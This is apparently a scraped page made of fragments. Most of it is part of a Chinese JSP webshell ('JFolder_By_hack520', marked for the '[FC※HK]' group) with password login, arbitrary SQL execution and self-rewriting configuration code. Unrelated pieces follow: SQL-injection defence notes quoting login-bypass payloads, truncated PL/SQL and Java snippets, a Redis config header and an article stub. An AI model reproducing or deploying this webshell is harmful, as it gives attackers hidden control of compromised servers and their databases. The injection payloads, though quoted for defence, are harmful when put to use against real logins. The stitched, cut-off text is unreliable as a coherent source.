\n";
for (int i = 1; i <= colNum; i ++) {
colType = rsmd.getColumnType(i);
sRet += "
";
switch (colType) {
case Types.BIGINT:
sRet += rs.getLong(i);
break;
case Types.BIT:
sRet += rs.getBoolean(i);
break;
case Types.BOOLEAN:
sRet += rs.getBoolean(i);
break;
case Types.CHAR:
sRet += rs.getString(i);
break;
case Types.DATE:
sRet += rs.getDate(i).toString();
break;
case Types.DECIMAL:
sRet += rs.getDouble(i);
break;
case Types.NUMERIC:
sRet += rs.getDouble(i);
break;
case Types.REAL:
sRet += rs.getDouble(i);
break;
case Types.DOUBLE:
sRet += rs.getDouble(i);
break;
case Types.FLOAT:
sRet += rs.getFloat(i);
break;
case Types.INTEGER:
sRet += rs.getInt(i);
break;
case Types.TINYINT:
sRet += rs.getShort(i);
break;
case Types.VARCHAR:
sRet += rs.getString(i);
break;
case Types.TIME:
sRet += rs.getTime(i).toString();
break;
case Types.DATALINK:
sRet += rs.getTimestamp(i).toString();
break;
}
sRet += "
\n";
}
sRet += "
\n";
}
sRet += "
\n";
rs.close();
} else {
if (_dbStatement.execute(sql)) {
sRet = "sql语句执行成功";
} else {
sRet = "sql语句执行失败";
}
}
} catch (SQLException e) {
sRet = "sql语句执行失败";
}
}
return sRet;
}
public void DBRelease() {
try {
if (_dbStatement != null) {
_dbStatement.close();
_dbStatement = null;
}
if (_dbConnection != null) {
_dbConnection.close();
_dbConnection = null;
}
} catch (SQLException e) {
}
}
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////
class JshellConfig {
private String _jshellContent = null;
private String _path = null;
public JshellConfig(String path) throws JshellConfigException {
_path = path;
read();
}
private void read() throws JshellConfigException {
try {
FileReader jshell = new FileReader(new File(_path));
char[] buffer = new char[1024];
int nChars;
_jshellContent = "";
while ((nChars = jshell.read(buffer, 0, 1024)) != -1) {
_jshellContent += new String(buffer, 0, nChars);
}
jshell.close();
} catch (IOException e) {
throw new JshellConfigException("打开文件失败");
}
}
public void save() throws JshellConfigException {
FileWriter jshell = null;
try {
jshell = new FileWriter(new File(_path));
char[] buffer = _jshellContent.toCharArray();
int start = 0;
int size = 1024;
for (start = 0; start < buffer.length - 1 - size; start += size) {
jshell.write(buffer, start, size);
}
jshell.write(buffer, start, buffer.length - 1 - start);
} catch (IOException e) {
new JshellConfigException("写文件失败");
} finally {
try {
jshell.close();
} catch (IOException e) {
}
}
}
public void setPassword(String password) throws JshellConfigException {
Pattern p = Pattern.compile("\\w+");
Matcher m = p.matcher(password);
if (! m.matches()) {
throw new JshellConfigException("密码不能有除字母数字下划线以外的字符");
}
p = Pattern.compile("private\\sString\\s_password\\s=\\s\"" + _password + "\"");
m = p.matcher(_jshellContent);
if (! m.find()) {
throw new JshellConfigException("程序体已经被非法修改");
}
_jshellContent = m.replaceAll("private String _password = \"" + password + "\"");
//return HTMLEncode(_jshellContent);
}
public void setEncodeType(String encodeType) throws JshellConfigException {
Pattern p = Pattern.compile("[A-Za-z0-9]+");
Matcher m = p.matcher(encodeType);
if (! m.matches()) {
throw new JshellConfigException("编码格式只能是字母和数字的组合");
}
p = Pattern.compile("private\\sString\\s_encodeType\\s=\\s\"" + _encodeType + "\"");
m = p.matcher(_jshellContent);
if (! m.find()) {
throw new JshellConfigException("程序体已经被非法修改");
}
_jshellContent = m.replaceAll("private String _encodeType = \"" + encodeType + "\"");
//return HTMLEncode(_jshellContent);
}
public void setSessionTime(String sessionTime) throws JshellConfigException {
Pattern p = Pattern.compile("\\d+");
Matcher m = p.matcher(sessionTime);
if (! m.matches()) {
throw new JshellConfigException("session超时时间只能填数字");
}
p = Pattern.compile("private\\sint\\s_sessionOutTime\\s=\\s" + _sessionOutTime);
m = p.matcher(_jshellContent);
if (! m.find()) {
throw new JshellConfigException("程序体已经被非法修改");
}
_jshellContent = m.replaceAll("private int _sessionOutTime = " + sessionTime);
//return HTMLEncode(_jshellContent);
}
public void setTextFileTypes(String[] textFileTypes) throws JshellConfigException {
Pattern p = Pattern.compile("\\w+");
Matcher m = null;
int i;
String fileTypes = "";
String tmpFileTypes = "";
for (i = 0; i < textFileTypes.length; i ++) {
m = p.matcher(textFileTypes[i]);
if (! m.matches()) {
throw new JshellConfigException("扩展名只能是字母数字和下划线的组合");
}
if (i != textFileTypes.length - 1)
fileTypes += "\"" + textFileTypes[i] + "\"" + ", ";
else
fileTypes += "\"" + textFileTypes[i] + "\"";
}
for (i = 0; i < _textFileTypes.length; i ++) {
if (i != _textFileTypes.length - 1)
tmpFileTypes += "\"" + _textFileTypes[i] + "\"" + ", ";
else
tmpFileTypes += "\"" + _textFileTypes[i] + "\"";
}
p = Pattern.compile(tmpFileTypes);
m = p.matcher(_jshellContent);
if (! m.find()) {
throw new JshellConfigException("程序文件已经被非法修改");
}
_jshellContent = m.replaceAll(fileTypes);
//return HTMLEncode(_jshellContent);
}
public String getContent() {
return HTMLEncode(_jshellContent);
}
}
class JshellConfigException extends Exception {
public JshellConfigException(String message) {
super(message);
}
}
%>
[FC※HK]小组专用
<%
session.setMaxInactiveInterval(_sessionOutTime * 60);
if (request.getParameter("password") == null && session.getAttribute("password") == null) {
// show the login form
//================================================================================================
%>
8管理登录 :::...
JFolder_By_hack520
<%
//================================================================================================
// end of the login form
} else {
String password = null;
if (session.getAttribute("password") == null) {
password = (String)request.getParameter("password");
if (validate(password) == false) {
out.println("
哎呀,倒霉死啦!
");
out.close();
return;
}
session.setAttribute("password", password);
} else {
password = (String)session.getAttribute("password");
}
String action = null;
if (request.getParameter("action") == null)
action = "main";
else
action = (String)request.getParameter("action");
if (action.equals("exit")) {
session.removeAttribute("password");
response.sendRedirect(request.getRequestURI());
out.close();
return;
}
// show the main menu
//====================================================================================
%>
<%
//=====================================================================================
// end of main menu
if (action.equals("main")) {
// print the system info table
//=======================================================================================
%>
<%
}
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//==========================================================================================
// end of config form
} else if (action.equals("about")) {
// start of about
//==========================================================================================
%>
第一:替换单引号,即把所有单独出现的单引号改成两个单引号,防止***者修改SQL命令的含义。再来看前面的例子,“SELECT * from Users WHERE login = ''' or ''1''=''1' AND password = ''' or ''1''=''1'”显然会得到与“SELECT * from Users WHERE login = '' or '1'='1' AND password = '' or '1'='1'”不同的结果。
第二:删除用户输入内容中的所有连字符,防止***者构造出类如“SELECT * from Users WHERE login = 'mas' -- AND password =''”之类的查询,因为这类查询的后半部分已经被注释掉,不再有效,***者只要知道一个合法的用户登录名称,根本不需要知道用户的密码就可以顺利获得访问权限。
/*
*处理例外
*/
--例外简介
--处理例外-传递例外
declare
v_ename emp.ename%TYPE;
begin
SELECT ename INTO v_ename FROM emp
where empno=&no;
dbms_output.put_line('雇员名:'||v_ename);
exceptio
import java.util.ArrayList;
import java.util.List;
public class KickOutBadGuys {
/**
* 题目:13个坏人和13个好人站成一圈,数到7就从圈里面踢出一个来,要求把所有坏人都给踢出来,所有好人都留在圈里。请找出初始时坏人站的位置。
* Maybe you can find out
Redis.conf配置文件及相关项说明
# Redis configuration file example
# Note on units: when memory size is needed, it is possible to specifiy
# it in the usual form of 1k 5GB 4M and so forth:
#
public static String convertInputStreamToString(InputStream is) {
StringBuilder result = new StringBuilder();
if (is != null)
try {
InputStreamReader inputReader = new InputStreamRead
原文:
http://www.sitepoint.com/3-new-javascript-apis-may-want-follow/?utm_source=html5weekly&utm_medium=email
本文中,介绍3个仍然处于草稿阶段,但应该值得关注的Javascript API.
1) Web Alarm API
&